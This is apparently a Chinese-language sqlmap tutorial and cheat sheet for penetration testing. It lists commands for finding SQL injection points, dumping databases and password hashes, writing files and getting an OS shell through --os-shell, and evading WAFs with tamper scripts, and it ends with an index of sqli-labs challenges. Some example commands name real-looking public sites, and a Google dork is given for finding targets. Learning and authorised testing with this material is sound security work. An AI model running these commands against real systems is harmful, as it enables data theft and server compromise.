总字符数: 13.31K

代码: 12.79K, 文本: 0.37K

预计阅读时间: 57 分钟

SQLMap使用

SQLMAP介绍与常规操作

  • sqlmap是一个由Python语言编写的开源渗透测试工具,它主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具

  • 它可以检测的数据库有:access、mssql、mysql、oracle、postgresql、db2、sqlite等

  • 可以进行sql盲注、union联合注入、显错注入、延迟注入、post注入、cookie注入等

  • 其他功能:

    • 执行命令、列举用户、检测权限、自动破解、数据导出等功能.

SQLMAP一般步骤

  1. 检测注入点: 使用 SQLMap 运行基本的检测命令,以确定目标网站是否存在 SQL 注入漏洞.

    1
    sqlmap -u "目标URL" --dbs

    如果存在注入点,SQLMap 将显示可用的数据库.

  2. 获取数据库版本: 获取目标数据库的版本信息,这对后续的攻击非常重要.

    1
    sqlmap -u "目标URL" --banner
  3. 获取当前用户: 确定当前数据库用户,以了解当前权限.

    1
    sqlmap -u "目标URL" --current-user
  4. 获取数据库: 列举目标数据库.

    1
    sqlmap -u "目标URL" --dbs
  5. 获取表: 获取数据库中的表.

    1
    sqlmap -u "目标URL" -D 目标数据库 --tables
  6. 获取列: 获取指定表的列.

    1
    sqlmap -u "目标URL" -D 目标数据库 -T 目标表 --columns
  7. 获取数据: 获取表中的数据.

    1
    sqlmap -u "目标URL" -D 目标数据库 -T 目标表 -C "列1,列2,列3" --dump

SQLMAP基本参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
-h 查看帮助选项
--is-dba 当前用户权限
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--tables 参数:列表名
--columns 参数:列字段
--dump 参数:下载数据

--dump-all 转存DBMS数据库所有表项目
--level 测试等级(1-5),默认为1


读取数据库--->读取表---->读取表的列---->获取内容
-D 指定数据库
-T 指定表
-C 指定列
--dbms=mysql oracle mssql 指定数据库

--passwords 枚举所有用户密码
--roles 列出数据库管理员角色
--privileges 列出数据库管理员权限

# 列举数据库系统的架构
sqlmap -u "http://10.10.10.197/Less-1/?id=1" --schema --batch --exclude-sysdbs


# 探测等级
--level
# 共有五个等级
# 默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload.这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试.
# 总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值.


# 显示调试信息

# -v 显示调试信息 有7个级别
# 0. 只显示python错误以及严重的信息.
# 1. 同时显示基本信息和警告信息.(默认)
# 2. 同时显示debug信息.
# 3. 同时显示注入的payload.
# 4. 同时显示HTTP请求.
# 5. 同时显示HTTP响应头.
# 6. 同时显示HTTP响应页面.



# 风险等级

--risk

# 共有四个风险等级,
# 1. 默认是1会测试大部分的测试语句,
# 2. 2会增加基于事件的测试语句,
# 3. 3会增加OR语句的SQL注入测试.
# 4. 4可能会修改数据库内容
# 在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险.
# 测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload.

SQLMAP获取目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# 参数:-u或者--url
# 格式:http(s)://targeturl[:port]/[...]
sqlmap -u http://www.target.com/vuln.php?id=1

# 从文本中获取多个目标扫描
# 参数:-m
# 文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

# 获取http post请求注入
# 参数:-r
# sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等).

# 比如文本文件内如下:
POST /Less-18/ HTTP/1.1
Host: 192.168.64.252:8080
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.64.252:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.64.252:8080/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin&passwd=admin&submit=Submit


# 处理Google搜索结果
# 参数:-g
# sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果).
sqlmap -g "inurl:php?id="

# --data
# 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数.
# 例子:
sqlmap -u "http://www.cracer.com/cracer.php" --data="id=1"


# --param-del
# 参数拆分字符
# 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数.
# 例子:
sqlmap -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";"


# --cookie
# 适用于cookie注入
# 将参加加入cookie注入测试
sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2


# --referer
# sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入.


# --headers
# 可以通过--headers参数来增加额外的http头
--hearders "client-ip: 1.1.1.1"

# --proxy
# 使用--proxy代理是格式为:http://url:port.
--proxy=http://127.0.0.1:1080
--proxy-file c:/1.txt



# 时间控制
--delay
# 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的.

--timeout
# 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒.设定重试超时

--retries
# 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次.设定随机改变的参数值



--safe-url,--safe-freq
# 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行.

# 绕过这个策略有两种方式:

1. --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下.
2. --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接.



-p
# sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值.但是你可以手动用-p
# 参数设置想要测试的参数.例如: -p "id,user-anget"

--prefix,--suffix

# 有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行.
# 例如,代码中是这样调用数据库的:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
# 这时你就需要--prefix和--suffix参数了:
sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
# 这样执行的SQL语句变成:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";



--technique
# 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式.
# 支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

--union-cols
# 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数.设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数.

--union-char
# 默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符.

--second-order
# 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假.--second-order后门跟一个判断页面的URL地址.



--dump-all,--exclude-sysdbs # 拖库
# 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它.



--search,-C,-T,-D

# --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段.
# 可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名.
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名.


-s,-t
# 参数:-s
# sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数.保存HTTP(S)日志

# 参数:-t
# 这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里.


--batch

# --batch
# 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去.

# 强制使用字符编码
--charset
# 不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
# --charset=GBK

--flush-session
# 如果不想用之前缓存这个目标的session文件,可以使用这个参数.会清空之前的session,重新测试该目标.

--hex
# 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
sqlmap -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors


--output-dir
# sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp
# 从响应中获取DBMS的错误信息


--parse-errors
# 有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息.


--smart,--mobile
# 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数.
sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart

--mobile
# 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆.
sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile


--identify-waf
# sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式.目前大约支持30种产品的识别.

--check-waf
# WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试.sqlmap将会使用一个不存在的参数来注入测试
# 例如对一个受到ModSecurity WAF保护的MySQL例子:
sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

SQLMAP常用操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 暴力破解表名
参数:--common-tables
# 用--tables无法获取到数据库的表时,可以使用此参数.
# 是如下情况:
1. MySQL数据库版本小于5.0,没有information_schema表.
2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认).
3. 当前用户没有权限读取系统中保存数据结构的表的权限.
# 暴力破解的表在txt/common-tables.txt文件中,你可以自己添加.
Xx --common-tables -D testdb

# 暴力破解列名
# 参数:--common-columns
# 与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中.
Xx --common-columns -T text -D testdb

# POST登录框注入
注入点:http://testasp.vulnweb.com/Login.asp
# 两种注入方式:
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

# base64编码注入
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs

# 请求时间延迟
参数:--time-sec
# 当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒

# 执行sql语句
--sql-query="select @@version"
--sql-shell

# sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句.
# 如果是SELECT查询语句,sqlap将会输出结果.如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句.

# 文件读写
# 从数据库服务器中读取文件
参数:--file-read
# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.读取的文件可以是文本也可以是二进制文件.

sqlmap -u "http://192.168.2.3:81/about/show.php
?lang=cn&id=22" --file-read="C:\Inetpub\wwwroot\mysql-php\1.php"

# 文件上传
参数:--file-write,--file-dest
# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.上传的文件可以是文本也可以是二进制文件.
sqlmap -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"


# 命令执行
参数:--os-cmd,--os-shell
# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.
# 在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()
# cmd 执行cmd命令(win)
# shell 执行当前用户命令
# --os-shell
# 自动上传 脚本文件
# 返回shell


# WAF绕过注入
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
# 其他几个
space2hash.py base64encode.py charencode.py
sqlmap--tamper绕过waf插件注释列表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 使用方法: --tamper xxx.py

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用"NOT BETWEEN 0 AND #"替换大于号">","BETWEEN # AND #"替换等于号"="
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用"LIKE"替换等于号"="
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用"CONCAT_WS(MID(CHAR(0), 0, 0), A, B)"替换像"CONCAT(A, B)"的实例
equaltolike.py 用"LIKE"运算符替换全部等于号"="
greatest.py 用"GREATEST"函数替换大于号">"
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用"IF(ISNULL(A), B, A)"替换像"IFNULL(A, B)"的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加"sp_password" for automatic obfuscation from DBMS logs
space2comment.py 用"/**/"替换空格符
space2dash.py 用破折号注释符"--"其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符"#"其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符"--"其次是一个换行符替换空格符
space2plus.py 用加号"+"替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用"UNION SELECT"替换"UNION ALL SELECT"
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头"X-originating-IP"来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头"X-Forwarded-For"来绕过WAF

SQLi_Labs中文目录

Page-1(Basic Challenges)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
Page-2 (Advanced Injections)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
Less-24 Second Degree Injections _Real treat_ -Store Injections (二次注入)
Less-25 Trick with OR & AND (过滤了or和and)
Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
Less-26(failed) Trick with comments and space (过滤了注释和空格的注入)
Less-26 Trick with comments and space (过滤了注释和空格的注入)
Less-26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
Less-27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
Less-27a GET - Blind Based- All your UNION & SELECT belong to us
Less-28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
Less-28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
Less-29 基于WAF的一个错误
Less-30 Get-Blind Havaing with WAF
Less-31 Protection with WAF
Less-32 Bypass addslashes()
Less-33 Bypass addslashes()
Less-34 Bypass Add SLASHES
Less-35 why care for addslashes()